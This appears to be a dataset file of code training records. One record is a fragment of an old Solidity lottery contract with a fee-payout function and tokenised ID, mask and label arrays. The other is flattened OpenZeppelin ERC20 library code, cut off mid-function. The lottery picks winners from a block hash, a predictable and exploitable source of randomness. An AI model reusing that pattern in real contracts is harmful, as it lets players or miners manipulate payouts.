+= (this.balance - _msg_value); } /// sending rewards to the investing, team and marketing contracts function payfee() public { require(fee_balance > 0); uint val = fee_balance; inv_contract.transfer( percent(val, 20) ); rtm_contract.transfer( percent(val, 49) ); mrk_contract.transfer( percent(val, 30) ); fee_balance = 0; } /// function for sending ETH with balance check (does not interrupt the program if balance is not sufficient) function sendEth(address _to, uint _val) internal returns(bool) { if(this.balance < _val) { TransferError(_to, _val); return false; } _to.transfer(_val); Withdraw(address(this), _to, _val); return true; } /// get winning ticket number basing on block hasg (block number is being calculated basing on specified displacement) function getWinningNumber(uint _blockshift) internal constant returns (uint) { return uint(block.blockhash(block.number - _blockshift)) % ticketsNum + 1; } /// current amount of jack pot 1 function jackPotA() public view returns (uint) { return percent(prizeFund(), 10); } /// current amount of jack pot 2 function jackPotB() public view returns (uint) { return percent(prizeFund(), 4); } /// current amount of jack pot 3 function jackPotC() public view returns (uint) { return percent(prizeFund(), 1); } /// current amount of prize fund function prizeFund() public view returns (uint) { return ( (ticketsNum * onePotWei) / 100 ) * 90; } /// function for calculating definite percent of a number function percent(uint _val, uint8 _percent) public pure returns (uint) { return ( _val / 100 ) * _percent; } /// returns owner address using ticket number function getTicketOwner(uint _num) public view returns (address) { if(ticketsNum == 0) { return 0; } return getAddress(tickets[_num]); } /// returns amount of tickets for the current draw in the possession of specified address function getTicketsCount(address _addr) public view returns (uint) { if(ticketsNum == 0) { return 0; } uint num = 0; for(uint i = 0; i < ticketsNum; i++) { if(tickets[i] == readAddress(_addr)) { num++; } } return num; } /// returns tickets numbers for the current draw in the possession of specified address function getTicketsAtAdress(address _address) public view returns(uint[]) { uint[] memory result = new uint[](getTicketsCount(_address)); uint num = 0; for(uint i = 0; i < ticketsNum; i++) { if(getAddress(tickets[i]) == _address) { result[num] = i; num++; } } return result; } /// returns amount of paid rewards for the current draw function getLastWinner() public view returns(uint) { return last_winner+1; } /// investing contract address change function setInvContract(address _addr) onlyManager public { inv_contract = _addr; } /// team contract address change function setRtmContract(address _addr) onlyManager public { rtm_contract = _addr; } /// marketing contract address change function setMrkContract(address _addr) onlyManager public { mrk_contract = _addr; } /// returns number of participant (in the list of participants) by belonging address and adding to the list, if not found function checkAddress(address _addr) public returns (uint addr_num) { for(uint i=0; i<addr.length; i++) { if(addr[i] == _addr) { return i; } } return addr.push(_addr) - 1; } /// returns participants number (in the list of participants) be belonging address (read only) function readAddress(address _addr) public view returns (uint addr_num) { for(uint i=0; i<addr.length; i++) { if(addr[i] == _addr) { return i; } } return 0; } /// returns address by the number in the list of participants function getAddress(uint _index) public view returns (address) { return addr[_index]; } /// method for direct contract replenishment with ETH function deposit() public payable { require(msg.value > 0); } }
sending rewards to the investing, team and marketing contracts
function payfee() public { require(fee_balance > 0); uint val = fee_balance; inv_contract.transfer( percent(val, 20) ); rtm_contract.transfer( percent(val, 49) ); mrk_contract.transfer( percent(val, 30) ); fee_balance = 0; }
6,371,211
[ 1, 87, 2846, 283, 6397, 358, 326, 2198, 10100, 16, 5927, 471, 13667, 310, 20092, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8843, 21386, 1435, 1071, 288, 203, 3639, 2583, 12, 21386, 67, 12296, 405, 374, 1769, 203, 3639, 2254, 1244, 273, 14036, 67, 12296, 31, 203, 3639, 2198, 67, 16351, 18, 13866, 12, 5551, 12, 1125, 16, 4200, 13, 11272, 203, 3639, 8253, 81, 67, 16351, 18, 13866, 12, 5551, 12, 1125, 16, 17160, 13, 11272, 203, 3639, 9752, 79, 67, 16351, 18, 13866, 12, 5551, 12, 1125, 16, 5196, 13, 11272, 203, 3639, 14036, 67, 12296, 273, 374, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal 